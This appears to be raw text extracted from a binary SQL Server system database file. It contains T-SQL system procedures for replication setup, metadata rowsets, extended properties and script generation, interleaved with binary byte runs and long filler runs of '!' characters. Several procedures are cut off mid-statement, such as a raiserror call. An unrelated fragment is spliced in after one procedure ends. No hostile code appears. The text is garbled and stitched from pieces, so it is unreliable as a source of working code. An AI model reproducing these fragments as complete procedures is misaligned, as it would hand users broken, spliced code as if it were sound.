    insert into @altpub
        (
            altpubid,
            alternate_publisher,
            alternate_publisher_db,
            alternate_publication
        )
    select distinct pub.pubid, pub.publisher, pub.publisher_db, pub.name 
        from dbo.sysmergepublications pub, dbo.MSmerge_altsyncpartners alt
        where pub.pubid = alt.subid or pub.pubid = alt.alternate_subid
        
    if @@error<>0 or @retcode<>0 
        goto Done

    /* For all alternate publishers for whom my current db is a subscriber, update the watermarks */
    -- make sure we don't falsely use transitive recgen optimization
    update dbo.sysmergesubscriptions 
    set recgen = NULL, recguid = NULL, sentgen = NULL, sentguid = NULL, replicastate = newid() 
    where subid in 
        (select subid from dbo.sysmergesubscriptions s, @altpub as a 
        where s.pubid = a.altpubid and s.db_name = db_name() and s.pubid <> @pubid)

    /* For all alternate publishers subscription entries, update the watermarks */
    -- make sure we don't falsely use transitive recgen optimization
    update dbo.sysmergesubscriptions 
    set recgen = NULL, recguid = NULL, sentgen = NULL, sentguid = NULL, replicastate= newid() 
    where subid in 
        (select subid from dbo.sysmergesubscriptions s, @altpub as a 
        where s.subid = a.altpubid and s.pubid <> @pubid)

Done:
    return @retcode
         
0@ w8CREATE VIEW sys.dm_os_schedulers AS
	SELECT *
	FROM OpenRowSet(TABLE SYSSCHEDULERS)
0Ͳ 8
create procedure sys.sp_table_type_primary_keys_rowset
(
    @table_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG   = s_pkv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_pkv.TABLE_SCHEMA,
        TABLE_NAME      = s_pkv.TABLE_NAME,
        COLUMN_NAME     = s_pkv.COLUMN_NAME,
        COLUMN_GUID     = s_pkv.COLUMN_GUID,
        COLUMN_PROPID   = s_pkv.COLUMN_PROPID,
        ORDINAL         = s_pkv.ORDINAL,
        PK_NAME         = s_pkv.PK_NAME
    from
        sys.spt_table_type_primary_keys_view s_pkv
    where
        (@table_name is null or s_pkv.TABLE_NAME = @table_name) and
        (@table_schema is null or schema_id(@table_schema) = s_pkv.schema_id)
    order by 2, 3
0N D8:@h7+!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


`]<W>v~0@ ^8
---------------------------- sp_dropextendedproc ------------------------------
create procedure sys.sp_dropextendedproc
	@functname nvarchar(517)		-- name of function
as
	-- If we're in a transaction, disallow the dropping of the
	--  extended stored procedure.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropextendedproc')
		return (1)
	end

	BEGIN TRANSACTION

	-- Drop the extended procedure mapping.
	EXEC %%System().DropExtendedProc(Name = @functname)
	
	COMMIT

	return (0) -- sp_dropextendedproc
0H@ T8--
-- Name: sp_MSdopartialdatabasesnapshotinitiation
--
-- Description: This procedure is called by the snapshot agent to perform the
--              the necessary (article & subscription) initiation procedures
--              when generating a partial snapshot from a database snapshot.
-- Parameter: @publication sysname (mandatory)
--
-- Notes: This procedure is assumed to be run within a transaction from the
--        snapshot agent. As such, no explicit error handling is performed
--        in it. This procedure will also return 1 immediately if one of the 
--        following is not true:
--        1) Caller is not member of db_owner role
--        2) Caller is not a replication agent connection
--        3) @@trancount < 1
--
--        *This procedure assumes that the #partial_snapshot_artids temporary
--        table has already been created prior to its invocation.
--
-- Returns: 0 - succeeded
--          1 - failed
--  
-- Security: Public interface, non-db_owner caller will result in no-op
--
create procedure sys.sp_MSdopartialdatabasesnapshotinitiation (
    @publication sysname
    )
as
begin
    set nocount on

    if @@trancount < 1 return 1

    if sessionproperty('replication_agent') <> 1 return 1

    if object_id(N'dbo.syspublications', 'U') is null return 1

    declare @retcode int
    set @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    declare @qualifiedname nvarchar(520),
            @objid int,
            @articletype tinyint,
            @pubid int,
            @repl_freq tinyint,
            @error int

    set @pubid = null
    set @error = 0

    select @pubid = pubid,
           @repl_freq = repl_freq
      from dbo.syspublications
     where name = @publication

    if @pubid is null return 1

        update dbo.syssubscriptions
           set status = 3
          from dbo.syssubscriptions subs
    inner join dbo.sysextendedarticlesview arts
            on subs.artid = arts.artid
    inner join #partial_snapshot_artids snaparts
            on arts.artid = snaparts.artid
         where arts.pubid = @pubid
           and (subs.status in (0, 1) and subs.sync_type = 1 
                or subs.srvid = -1)

    update dbo.sysarticles
       set status = status | 1
     where artid in
        (select subs.artid
           from syssubscriptions subs
     inner join dbo.sysarticles arts
             on subs.artid = arts.artid
     inner join #partial_snapshot_artids snaparts
             on arts.artid = snaparts.artid
          where arts.pubid = @pubid)

    update dbo.sysschemaarticles
       set status = status | 1
     where artid in
        (select subs.artid
           from syssubscriptions subs
     inner join dbo.sysschemaarticles arts
             on subs.artid = arts.artid
     inner join #partial_snapshot_artids snaparts
             on arts.artid = snaparts.artid
          where arts.pubid = @pubid)

    exec @retcode = sys.sp_replflush          
    return @retcode
end
generateshorterfilenameprefix(@publication,30) collate database_default) collate database_default
    return @snapshot_folder_name
end
0@ 8create procedure sys.sp_MSscript_delete_subwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
	,@artid int				-- article id
)
as
begin
	declare @cmd nvarchar(4000)
			,@qualname nvarchar(517)

	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QSubWins)
	begin
		'+N'--
		'+N'-- Subscriber wins resolution
		'+N'-- 
		if (@cftcase = 31)
		begin
			'+N'--
			'+N'-- delete row with PK
			'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate the delete statement
	--
	select @cmd = N'
			delete ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
	--
	-- continue with scripting
	--
	select @cmd = N'			
		end

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- all done for conflict resolution for Subscriber Wins policy
		'+N'-- --------------------------------------------------------------------
		'+N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )	
	--
	-- all done
	--
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!		`h<_I*SZ0rS@ +8
create procedure sys.sp_assemblies_rowset_rmt
(
    @server_name        sysname,
    @catalog_name       sysname,
    @assembly_name      sysname = null,
    @assembly_schema    sysname = null,
    @assembly_id        int = null
)
as
    select
        ASSEMBLY_CATALOG,
        ASSEMBLY_SCHEMA,
        ASSEMBLY_NAME,
        ASSEMBLY_ID,
        PERMISSION_SET,
        DEBUG_MODE,
        ASSEMBLY_BINARY
    from
        -- ISSUE - below pseudo-function is not exposed by metadata code!
        sys.fn_remote_assemblies(@server_name,
                                 @catalog_name,
                                 @assembly_name,
                                 @assembly_schema,
                                 @assembly_id)
    order by 1,2,3
0CV 8
create procedure sys.sp_columns_90_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @column_name        sysname = null
)
as
-----------------------------------------
-- copy & pasted from version 5 !
-----------------------------------------
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        ORDINAL_POSITION,
        COLUMN_HASDEFAULT,
        COLUMN_DEFAULT,
        COLUMN_FLAGS,
        IS_NULLABLE,
        DATA_TYPE,
        TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION,
        NUMERIC_SCALE,
        DATETIME_PRECISION,
        CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME,
        COLLATION_CATALOG,
        COLLATION_SCHEMA,
        COLLATION_NAME,
        DOMAIN_CATALOG,
        DOMAIN_SCHEMA,
        DOMAIN_NAME,
        DESCRIPTION,
        -- ISSUE - These columns are not exposed by engine.
        -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
        COLUMN_LCID = null,     -- ISSUE these columns must be exported by the server
        COLUMN_COMPFLAGS = null,-- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        COLUMN_SORTID = null,   -- const SCHEMA_COLUMNS xCol_COLUMNS = {
        COLUMN_TDSCOLLATION = null,
        IS_COMPUTED = null,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = null,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME = null,
        SS_XML_SCHEMACOLLECTIONNAME = null,
        SS_UDT_CATALOGNAME = null,
        SS_UDT_SCHEMANAME = null,
        SS_UDT_NAME = null,
        SS_UDT_ASSEMBLY_TYPENAME = null
    from
        sys.fn_remote_columns (@table_server, @table_catalog, @table_schema, @table_name, @column_name)
    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<K;01f/@ S8--
-- Name: sp_MSdumpscripttabletonvarcharmax
--
-- Description: This is a helper procedure for dumping the content of 
--              the #scripttest temporary table to a file.
--
-- Parameter: @nvarcharmaxscript nvarchar(max) output
--
-- Notes: 1) This procedure assumes that #scripttext is created by the caller
--           and the table contains something interesting to be dumped to
--           the output nvarchar(max) variable.
--
-- Security: This is an internal system procedure
--
create procedure sys.sp_MSdumpscripttabletonvarcharmax (
    @nvarcharmaxscript nvarchar(max) output
    )
with recompile
as
begin
    set nocount on
    declare @retcode int,
            @current_script_chunk nvarchar(4000),
            @cursor_allocated bit,
            @cursor_opened bit,
            @chunk_delimiter nvarchar(2),
            @textptr binary(16),
            @buffer nvarchar(4000),
            @bufferlen int
    create table #textworktable (scripttablecontent ntext)
    if @@error<> 0 return 1
    
    -- Initializations
    select @retcode = 0,
           @cursor_allocated = 0,
           @cursor_opened = 0,
           @chunk_delimiter = N'',
           @buffer = N''
    
    if @nvarcharmaxscript is null
        set @nvarcharmaxscript = N''

    insert into #textworktable values (@nvarcharmaxscript)

    select @textptr = textptr(scripttablecontent) from #textworktable

    -- Cursor through the #scripttext table and
    -- append each row as a newline to @nvarcharmaxscript
    declare hScript cursor local fast_forward for
        select isnull(line, '') from #scripttext order by line_no asc
    if @@error<>0 begin select @retcode = 1 goto Failure end
    set @cursor_opened = 1

    open hScript
    if @@error<>0 begin select @retcode = 1 goto Failure end
    set @cursor_allocated = 1
    fetch hScript into @current_script_chunk
    while (@@fetch_status<>-1)
    begin

        if datalength(@buffer) + datalength(@chunk_delimiter) <= 8000
        begin
            set @buffer = @buffer + @chunk_delimiter
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
        end
        else
        begin
            set @bufferlen = datalength(@buffer)
            set @buffer = @buffer + @chunk_delimiter
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
            updatetext #textworktable.scripttablecontent @textptr NULL NULL @buffer
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
            set @buffer = right(@chunk_delimiter, (datalength(@chunk_delimiter) - 8000 + @bufferlen)/2)    
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
        end

        if datalength(@buffer) + datalength(@current_script_chunk) <= 8000
        begin
            set @buffer = @buffer + @current_script_chunk
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end            
        end
        else
        begin
            set @bufferlen = datalength(@buffer)
            set @buffer = @buffer + @current_script_chunk
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
            updatetext #textworktable.scripttablecontent @textptr NULL NULL @buffer
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
            set @buffer = right(@current_script_chunk, (datalength(@current_script_chunk) - 8000 + @bufferlen)/2)    
            if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
        end

        set @chunk_delimiter = N'
'
        if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end

        fetch hScript into @current_script_chunk
    end
    if datalength(@buffer) > 0
    begin
        updatetext #textworktable.scripttablecontent @textptr NULL NULL @buffer
        if @@error<>0 or @retcode<>0 begin select @retcode = 1 goto Failure end
    end    
    
    select @nvarcharmaxscript = convert(nvarchar(max), scripttablecontent) from #textworktable

Failure:

    if @cursor_opened = 1
    begin
        close hScript
    end

    if @cursor_allocated = 1
    begin
        deallocate hScript
    end
    
    drop table #textworktable
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`QL<>oH<0% 8--
-- Name: sp_MSgeneratenosyncsubscriptionsetupscript
--
-- Description: This procedure generates the setup script for a backup
--              subscription which may include any of the following:
--              (NYI)
--              ? -1) TSQL stataments for scrubbing the restored database
--                      i) convert all timestemp columns to varbinary(16)?
--                      ii) identity columns fixups?
--                      iii) horizontal partitioning?
--                      iv) vertical partitioning ?
--              (NYI)
--              ? 0) Pull subscription setup ?
--              1) article custom procedures
--              2) conflict tables for decentralized conflict logging
--              3) immediate/queued sync triggers creation and setup
--                 commands if the subscription is queued or immediate-
--                 updating.
-- 
-- Parameters: (Subscription setup parameters)
--             @publication      sysname (mandatory)      
--             @article          sysname (optional, default = N'all')      
--             @update_mode      nvarchar(30) (optional, default = 'read only')
--             @script_file_path nvarchar(260) (mandatory)
--
-- Note: 1) Since this is supposed to be an internal system procedure, 
--          parameter checking is intentionally kept minimal.
--
-- Security: This is an internal system procedure. 
-- 
create procedure sys.sp_MSgeneratenosyncsubscriptionsetupscript
(
    @publication		sysname,
    @article			sysname = N'all',
    @update_mode		nvarchar(30) = 'read only',
    @publisher			sysname = NULL,
    @publisher_type		sysname = N'MSSQLSERVER',
    @nvarcharmaxscript  nvarchar(max) output
)
as
begin
    set nocount on
    
    declare @retcode int,        
            @table_created bit

    select @retcode = 0,
           @table_created = 0
    
    if @@error<> 0
    	return 1
   
    -- Pre-create #scripttext for scripting procs
    create table #scripttext
    (
        line_no int identity(1,1) primary key,
        line nvarchar(4000)
    ) 
    
    IF (@retcode != 0) OR (@@ERROR != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END
    
    select @table_created = 1    

    -- Custom procs
    exec @retcode = sys.sp_MSscriptpublicationcustomprocs	@publication	= @publication,
        													    @article		= @article,
        													    @publisher		= @publisher,
        													    @publisher_type	= @publisher_type

    IF (@retcode != 0) OR (@@ERROR != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    -- If publication supports decentralized conflict logging for queue
    -- HREPL: Supports READ ONLY only
    IF (@publisher_type = N'MSSQLSERVER')
    	AND LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) in ('queued tran', 'failover')
    	AND EXISTS	(	SELECT	* 
						FROM	syspublications
						WHERE	name = @publication
                		  AND	centralized_conflicts = 0
					)
    BEGIN
        EXEC @retcode = sys.sp_MSscriptpublicationconflicttables	@publication	= @publication,
																	@article		= @article

		IF (@retcode != 0) OR (@@ERROR != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END
    END

    -- Put synctran commands into the setup script if the subscription's
    -- update mode is not read-only
    -- HREPL - no support for anything other than READ ONLY
    IF (@publisher_type = N'MSSQLSERVER') AND
    	LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) <> N'read only'
	BEGIN
        insert into #scripttext(line) 
		exec @retcode = sys.sp_script_synctran_commands	@publication = @publication,
                    									@article = @article

		IF (@retcode != 0) OR (@@ERROR != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END

        -- Put a go at the end of the command batch
        insert #scripttext(line) values('go')

		IF (@retcode != 0) OR (@@ERROR != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END
    END

	-- Add commands for Setting NFR
	DECLARE @dest_owner sysname,
			@dest_table	sysname
			
	DECLARE #hArticles CURSOR LOCAL FAST_FORWARD FOR
		SELECT sysa.dest_owner,
				sysa.dest_table
		FROM syspublications sysp
			JOIN sysarticles sysa
				ON sysp.pubid = sysa.pubid
		WHERE sysp.pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	OPEN #hArticles

	FETCH #hArticles INTO @dest_owner, @dest_table

	WHILE @@FETCH_STATUS != -1
	BEGIN
		insert #scripttext(line) values(N' IF (@@microsoftversion >= 0x09000000)' 
										+ N' BEGIN'
										+ 		N' EXEC sys.sp_MSrepl_setNFR @schema = N' + QUOTENAME(@dest_owner, '''') + ','
										+ 									N' @object_name = N' + QUOTENAME(@dest_table, '''')
										+ N' END')
		IF (@retcode != 0) OR (@@ERROR != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END
		FETCH #hArticles INTO @dest_owner, @dest_table
	END

	CLOSE #hArticles
	DEALLOCATE #hArticles
	
    -- Dump the content of the #scripttext table to the output nvarchar(max)
    -- variable
    EXEC @retcode = sys.sp_MSdumpscripttabletonvarcharmax @nvarcharmaxscript = @nvarcharmaxscript output

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		SELECT @retcode = 1
		GOTO Failure
	END
	
Failure:

    if @table_created = 1
    begin
        drop table #scripttext
    end    
    return @retcode

end
0@ 8create procedure sys.sp_MSrepl_raiserror
(
    @agent sysname,
    @agent_name nvarchar(100),
    @status int,
    @message nvarchar(255),
    @subscriber sysname = NULL,
    @publication sysname = NULL,
    @article sysname = NULL
)
as
begin
    if @status = 2      --Succeeded
        raiserror (14150, 10, -1, @agent, @agent_name, @message)
    else if @status = 5 --Retry Failure
        raiserror (14152, 10, -1, @agent, @agent_name, @message)
    else if @status = 6 --Failure
    begin
        raiserror (14151, 18, -1, @agent, @agent_name, @message)
    end
    else if @status = 7
    begin
        raiserror (20574, 10, -1, @subscriber, @article, @publication)
    end
    else if @status = 8
    begin
        raiserror (20575, 10, -1, @subscriber, @article, @publication)
    end
    else if @status = 9
    begin
        raiserror (14158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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<yB; Dn0*@ %8--
-- Name: sp_scriptpublicationcustomprocs
--
-- Description: This is a utility procedure for scripting out the 
--              article "custom" ins/upd/del procedures for all 
--              table articles in a publication with the auto-generate custom
--              procedure schema option enabled. This is particularly useful 
--              and in fact specifically designed for setting up no-sync 
--              subscriptions. 
-- 
-- Notes: 1) Reconciliation procedures for concurrent snapshot will
--           not be scripted by this procedure. It does not really make 
--           sense to have concurrent snapshots for no-sync subscriptions.
--        2) Custom procedures will not be scripted out for articles 
--           without the auto-generate custom procedure (0x2) schema_option.
--
-- Parameter: @publication sysname
--
-- Security: Execute permission is granted to public; procedural security 
--           check is performed inside the procedure to restrict access
--           to sysadmins and db_owners of current database. 
--
-- Example: exec Northwind.sys.sp_scriptpublicationcustomprocs @publication = N'Northwind'
--
create procedure sys.sp_scriptpublicationcustomprocs
(
	@publication	sysname,
	@publisher		sysname = NULL,
    @usesqlclr      bit = 1
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd            OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_scriptpublicationcustomprocs'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type,
                    @usesqlclr

	RETURN (@retcode)
END


raiserror('Creating procedure sp_MSrepl_scriptpublicationcustomprocs',0,-1) with nowait
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`w	<iF)&OCc0' '8create procedure sys.sp_updateextendedproperty
	@name sysname,
	@value sql_variant			= NULL,
	@level0type	varchar(128)	= NULL,
	@level0name	sysname			= NULL,
	@level1type	varchar(128)	= NULL,
	@level1name	sysname			= NULL,
	@level2type	varchar(128)	= NULL,
	@level2name	sysname			= NULL
as

	declare @ret int

	if datalength(@value) > 7500
	begin
		raiserror(15097,-1,-1)
		return 1
	end

	if @name is null
	begin
		raiserror(15600,-1,-1,'sp_updateextendedproperty')
		return (1)
	end

	execute @ret = sys.sp_validname @name
	if (@ret <> 0)
	begin
		raiserror(15600,-1,-1,'sp_updateextendedproperty')
		return (1)
	end
	
	BEGIN TRANSACTION

	begin
		EXEC %%ExtendedPropertySet().UpdateValue(Name = @name, Value = @value, Level0type = @level0type, Level0name = @level0name, Level1type = @level1type, Level1name = @level1name, Level2type = @level2type, Level2name = @level2name) 
		IF @@ERROR <> 0
		begin
			COMMIT TRANSACTION
			return (1)
		end
	end
		
	COMMIT TRANSACTION
	return (0)
0r@ 8
create procedure sys.sp_MSunc_to_drive (
        @unc_path nvarchar(255), 
        @local_server sysname, 
        @local_path nvarchar(255) output
        )
    AS

    SET NOCOUNT ON

    declare @pattern nvarchar(150)

    select @pattern = N'\\' + upper(@local_server) + N'\'

    if    charindex(@pattern, upper(substring(@unc_path, 1, len(@pattern)))) <> 0 
        and charindex(N'$\', substring(@unc_path, len(@pattern)+2, 2))<>0
